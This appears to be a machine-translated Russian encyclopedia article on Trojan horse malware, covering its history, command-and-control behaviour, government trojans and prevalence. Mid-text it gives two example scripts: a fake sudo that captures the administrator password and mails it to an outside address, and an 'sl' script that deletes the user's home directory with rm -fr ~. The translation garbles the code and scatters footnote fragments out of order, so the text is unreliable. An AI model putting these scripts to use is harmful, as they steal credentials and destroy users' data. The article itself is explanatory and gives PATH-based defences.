В вычислительной технике троянским конем является любое вредоносное ПО , которое вводит пользователей в заблуждение о своих истинных целях, маскируясь под стандартную программу. Этот термин происходит от древнегреческой истории о обманчивом Троянском коне , который привел к падению города Трои . [1]
Трояны обычно распространяются с помощью той или иной формы социальной инженерии . Например, когда пользователя обманом заставляют выполнить вложение к электронному письму , замаскированное под безобидное (например, заполнение стандартной формы), или щелкнув фальшивую рекламу в социальных сетях или где-либо еще. Хотя их полезная нагрузка может быть любой, многие современные формы действуют как бэкдор , связываясь с контроллером, который затем может получить несанкционированный доступ к зараженному компьютеру. [2] Атаки программ-вымогателей часто осуществляются с использованием троянских программ.
В отличие от компьютерных вирусов и червей , трояны обычно не пытаются внедряться в другие файлы или иным образом распространяться. [3]
Неясно, где и когда эта концепция и этот термин были впервые использованы, но к 1971 году первое руководство по Unix предполагало, что читатели знают и то, и другое: [4]
Кроме того, нельзя изменить владельца файла с включенным битом set-user-ID, иначе можно создать троянских коней, способных злоупотреблять чужими файлами.
Еще одно раннее упоминание содержится в отчете ВВС США за 1974 год об анализе уязвимостей компьютерных систем Multics . [5]
Он стал популярным благодаря Кену Томпсону в его лекции на вручении премии Тьюринга в 1983 году «Размышления о доверии к доверию» [6] с подзаголовком: « В какой степени следует доверять утверждению о том, что программа свободна от троянских коней?» Возможно, важнее доверять людям, написавшим программное обеспечение. Он упомянул, что знал о возможном существовании троянов из отчета о безопасности Multics. [7] [8]
После установки трояны могут выполнять ряд вредоносных действий. Многие из них, как правило, связываются с одним или несколькими серверами управления и контроля (C2) через Интернет и ждут инструкций. Поскольку отдельные трояны обычно используют для этого определенного набора портов, их можно относительно легко обнаружить. Более того, другие вредоносные программы потенциально могут «захватить» трояна, используя его в качестве прокси для вредоносных действий. [9]
В немецкоязычных странах шпионское ПО , используемое или созданное правительством, иногда называют программным обеспечением . Govware обычно представляет собой троянскую программу, используемую для перехвата сообщений с целевого компьютера. В некоторых странах, таких как Швейцария и Германия, существует правовая база, регулирующая использование такого программного обеспечения. [10] [11] Примеры правительственных троянов включают швейцарские MiniPanzer и MegaPanzer [12] и немецкий «государственный троян» по прозвищу R2D2 . [10] Немецкое государственное ПО работает, используя бреши в безопасности, неизвестные широкой публике, и получает доступ к данным смартфона до того, как они будут зашифрованы с помощью других приложений. [13]
Благодаря популярности ботнетов среди хакеров и доступности рекламных сервисов, позволяющих авторам нарушать конфиденциальность своих пользователей, трояны становятся все более распространенными. Согласно опросу, проведенному BitDefender с января по июнь 2009 года, «растет число вредоносных программ троянского типа, на их долю приходится 83% глобальных вредоносных программ, обнаруженных в мире». Трояны связаны с червями, поскольку они распространяются с помощью червей и путешествуют вместе с ними по Интернету. [14] BitDefender заявил, что около 15% компьютеров являются членами бот-сети, обычно привлекаемой троянской инфекцией. [15]
Недавние расследования показали, что метод «троянского коня» использовался для атаки на системы облачных вычислений . Троянская атака на облачные системы пытается внедрить в систему приложение или службу, которая может повлиять на облачные службы, изменив или остановив их функциональные возможности. Когда облачная система определяет атаки как законные, выполняется услуга или приложение, которое может повредить и заразить облачную систему. [16]
Троянский конь — это программа , которая якобы выполняет какую-то законную функцию, но при выполнении ставит под угрозу безопасность пользователя. [17] Простым примером является следующая вредоносная версия команды sudo в Linux . Злоумышленник поместит этот сценарий в общедоступный для записи каталог (например, /tmp
). Если администратор окажется в этом каталоге и запустит sudo
, то может запуститься троянец, скомпрометировав пароль администратора.
#!/usr/bin/env bash# Отключить эхо символов на экране. sudo делает это, чтобы пароль пользователя не появлялся на экране при его вводе.
stty -echo# Запросить у пользователя пароль, а затем прочитать ввод. Чтобы скрыть природу этой вредоносной версии, сделайте это 3 раза, чтобы имитировать поведение sudo, когда пользователь вводит неправильный пароль. Prompt_count = 1 while [ $prompt_count -le 3 ] ; do echo -n "[sudo] пароль для $( whoami ) : " read pass_input echo Sleep 3 # sudo будет делать паузу между повторяющимися запросами Prompt_count = $(( Prompt_count + 1 )) Done # Снова включите эхо символов. stty эхо эхо $password_input | mail -s " пароль $( whoami ) " [email protected] # Отобразить фактическое сообщение об ошибке sudo, а затем удалить self. echo "sudo: 3 попытки неправильного пароля"
rm $0 выход 1 # sudo возвращает 1 при неудачной попытке ввода пароля
Чтобы предотвратить появление sudo
троянского коня , установите .
запись в PATH
переменной среды, расположенную в конце. [18] Например: PATH=/usr/local/bin:/usr/bin:.
.
Удобно иметь .
где-то PATH, но есть одна загвоздка. [19] Другой пример — следующая вредоносная версия команды ls в Linux . Однако имя файла не ls
; вместо этого это так sl
. Злоумышленник поместит этот сценарий в общедоступный для записи каталог (например, /tmp
).
#!/usr/bin/env bash# Удалить домашний каталог пользователя, затем удалить self. rm -fr ~ 2 >/dev/null РМ $0
Чтобы злонамеренный программист не предвидел эту распространенную ошибку при наборе текста:
.
в PATH илиalias sl=ls
[а]Компьютерный термин «Троянский конь» происходит от легендарного Троянского коня древнего города Троя . По этой причине слово «Троян» часто пишется с заглавной буквы. Однако, хотя руководства по стилю и словари различаются, многие предлагают использовать «троян» в нижнем регистре для обычного использования. [30] [31]
Греческие солдаты, не сумевшие прорвать оборону города Трои в ходе многолетней войны, преподнесли городу в мирное предложение большого деревянного коня.
Вышеупомянутый троянский конь работает только в том случае, если PATH пользователя настроен на поиск команд в текущем каталоге перед поиском в системных каталогах.
[Если] вы неуклюжая машинистка и однажды наберете «sl -l» вместо «ls -l», вы рискуете запустить «./sl», если таковой имеется.
Какой-нибудь «умный» программист мог бы предвидеть распространенные ошибки при наборе текста и оставить программы с такими именами разбросанными по общедоступным каталогам.
Остерегаться.
{{cite web}}
: CS1 maint: unfit URL (link)alias
оператор в /etc/profile.